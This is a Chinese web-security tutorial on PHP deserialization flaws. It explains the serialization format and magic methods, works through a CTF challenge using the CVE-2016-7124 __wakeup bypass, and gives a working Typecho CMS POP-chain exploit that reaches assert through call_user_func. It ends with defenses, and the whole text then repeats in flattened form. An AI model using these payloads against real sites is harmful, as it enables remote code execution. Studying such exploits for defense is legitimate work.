[红日安全]Web安全Day15 - 反序列化实战攻防
字数 1584 2025-08-18 11:39:23

PHP反序列化漏洞深度解析与实战

一、反序列化基础概念

1.1 序列化与反序列化定义

序列化:将对象转换为可存储或传输的字符串格式的过程。在PHP中,序列化会保留对象的类名和属性值,但不包含方法。

反序列化:将序列化字符串还原为对象的过程。反序列化后的对象可以调用原始类的方法(前提是在相同域中)。

1.2 PHP序列化格式解析

示例类:

class userInfo {
    private $passwd = 'weak';
    protected $sex = 'male';
    public $name = 'ama666';
}

序列化结果:

O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";}

格式说明:

  • O:8:"userInfo":对象(Object),类名长度8,类名"userInfo"
  • :3::对象有3个属性
  • {}内为属性键值对
  • 不同权限属性的表示:
    • private:类名+属性名(如userInfopasswd
    • protected:*+属性名(如*sex
    • public:直接属性名(如name

二、PHP魔法函数与反序列化漏洞

2.1 关键魔法函数

  1. __wakeup()

    • 在反序列化时自动调用
    • 常用于资源初始化
  2. __destruct()

    • 对象销毁时自动调用
    • 反序列化后对象生命周期结束时触发
  3. __construct()

    • 对象创建时调用
    • 在反序列化时不会调用
  4. __toString()

    • 对象被当作字符串使用时调用
    • 触发场景广泛(字符串连接、格式化、比较等)
  5. __get()

    • 访问不可访问属性时调用
    • 可用于属性访问链式利用
  6. __call()

    • 调用未定义方法时触发
    • 接收方法名和参数数组

2.2 漏洞形成原理

反序列化漏洞利用条件:

  1. 存在可控的反序列化输入点
  2. 目标类中存在可自动触发的魔法函数
  3. 魔法函数中存在危险操作(如文件操作、命令执行等)

三、CTF实战案例解析

3.1 题目代码分析

class SoFun {
    protected $file = 'index.php';
    
    function __destruct(){
        if(!empty($this->file)) {
            if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
                show_source(dirname(__FILE__).'/'.$this->file);
            else
                die('Wrong filename.');
        }
    }
    
    function __wakeup() {
        $this->file = 'index.php';
    }
}

3.2 利用技巧 - CVE-2016-7124

漏洞特征
当序列化字符串中表示对象属性个数的值大于实际属性个数时,会跳过__wakeup()的执行。

利用步骤

  1. 构造恶意对象:
class SoFun {
    protected $file = 'flag.php';
}
$poc = new SoFun;
echo serialize($poc);
// 输出:O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
  1. 修改属性计数:
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}
  1. Base64编码后提交

四、Typecho CMS反序列化漏洞实战

4.1 漏洞链分析(POP链)

  1. 入口点install.phpunserialize(Typecho_Cookie::get())
  2. 链式调用
    • 触发Typecho_Db__construct()
    • 触发Typecho_Feed__toString()
    • 触发Typecho_Request__get()
    • 最终执行call_user_func

4.2 完整POC构造

class Typecho_Feed {
    private $_type = 'ATOM 1.0';
    private $_items;
    
    public function __construct(){
        $this->_items = array('0' => array(
            'author' => new Typecho_Request()
        ));
    }
}

class Typecho_Request {
    private $_params = array('screenName' => 'phpinfo()');
    private $_filter = array('assert');
}

$poc = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho'
);

echo base64_encode(serialize($poc));

4.3 漏洞利用流程

  1. 构造上述POC获取序列化字符串
  2. 将字符串作为Cookie或POST数据提交
  3. 服务器反序列化时触发整个调用链
  4. 最终执行call_user_func('assert', 'phpinfo()')

五、防御措施

  1. 输入过滤

    • 对反序列化数据进行严格校验
    • 使用白名单机制限制反序列化的类
  2. 安全配置

    • 避免反序列化用户可控数据
    • 使用php.iniunserialize_callback_func设置回调函数
  3. 代码层面

    • 避免在魔法函数中执行危险操作
    • 对敏感操作增加权限检查
  4. PHP版本升级

    • 修复已知的反序列化漏洞(如CVE-2016-7124)
    • 使用最新安全补丁

六、扩展知识

6.1 其他语言的序列化漏洞

虽然本文主要讨论PHP,但反序列化漏洞也存在于:

  • Java(Apache Commons Collections等)
  • Python(pickle模块)
  • .NET(BinaryFormatter等)

6.2 高级利用技巧

  1. 属性注入:通过修改序列化字符串中的属性值
  2. 对象注入:注入非预期类的对象
  3. 引用绕过:利用序列化中的引用特性绕过检查
  4. 字符逃逸:通过精心构造字符串改变序列化结构

通过深入理解这些原理和技术,安全研究人员可以更有效地发现和防御反序列化漏洞。

PHP反序列化漏洞深度解析与实战 一、反序列化基础概念 1.1 序列化与反序列化定义 序列化 :将对象转换为可存储或传输的字符串格式的过程。在PHP中,序列化会保留对象的类名和属性值,但不包含方法。 反序列化 :将序列化字符串还原为对象的过程。反序列化后的对象可以调用原始类的方法(前提是在相同域中)。 1.2 PHP序列化格式解析 示例类: 序列化结果: 格式说明: O:8:"userInfo" :对象(Object),类名长度8,类名"userInfo" :3: :对象有3个属性 {} 内为属性键值对 不同权限属性的表示: private: 类名+属性名 (如 userInfopasswd ) protected: *+属性名 (如 *sex ) public:直接属性名(如 name ) 二、PHP魔法函数与反序列化漏洞 2.1 关键魔法函数 __ wakeup() 在反序列化时自动调用 常用于资源初始化 __ destruct() 对象销毁时自动调用 反序列化后对象生命周期结束时触发 __ construct() 对象创建时调用 在反序列化时不会调用 __ toString() 对象被当作字符串使用时调用 触发场景广泛(字符串连接、格式化、比较等) __ get() 访问不可访问属性时调用 可用于属性访问链式利用 __ call() 调用未定义方法时触发 接收方法名和参数数组 2.2 漏洞形成原理 反序列化漏洞利用条件: 存在可控的反序列化输入点 目标类中存在可自动触发的魔法函数 魔法函数中存在危险操作(如文件操作、命令执行等) 三、CTF实战案例解析 3.1 题目代码分析 3.2 利用技巧 - CVE-2016-7124 漏洞特征 : 当序列化字符串中表示对象属性个数的值大于实际属性个数时,会跳过 __wakeup() 的执行。 利用步骤 : 构造恶意对象: 修改属性计数: Base64编码后提交 四、Typecho CMS反序列化漏洞实战 4.1 漏洞链分析(POP链) 入口点 : install.php 中 unserialize(Typecho_Cookie::get()) 链式调用 : 触发 Typecho_Db 的 __construct() 触发 Typecho_Feed 的 __toString() 触发 Typecho_Request 的 __get() 最终执行 call_user_func 4.2 完整POC构造 4.3 漏洞利用流程 构造上述POC获取序列化字符串 将字符串作为Cookie或POST数据提交 服务器反序列化时触发整个调用链 最终执行 call_user_func('assert', 'phpinfo()') 五、防御措施 输入过滤 对反序列化数据进行严格校验 使用白名单机制限制反序列化的类 安全配置 避免反序列化用户可控数据 使用 php.ini 的 unserialize_callback_func 设置回调函数 代码层面 避免在魔法函数中执行危险操作 对敏感操作增加权限检查 PHP版本升级 修复已知的反序列化漏洞(如CVE-2016-7124) 使用最新安全补丁 六、扩展知识 6.1 其他语言的序列化漏洞 虽然本文主要讨论PHP,但反序列化漏洞也存在于: Java(Apache Commons Collections等) Python(pickle模块) .NET(BinaryFormatter等) 6.2 高级利用技巧 属性注入 :通过修改序列化字符串中的属性值 对象注入 :注入非预期类的对象 引用绕过 :利用序列化中的引用特性绕过检查 字符逃逸 :通过精心构造字符串改变序列化结构 通过深入理解这些原理和技术,安全研究人员可以更有效地发现和防御反序列化漏洞。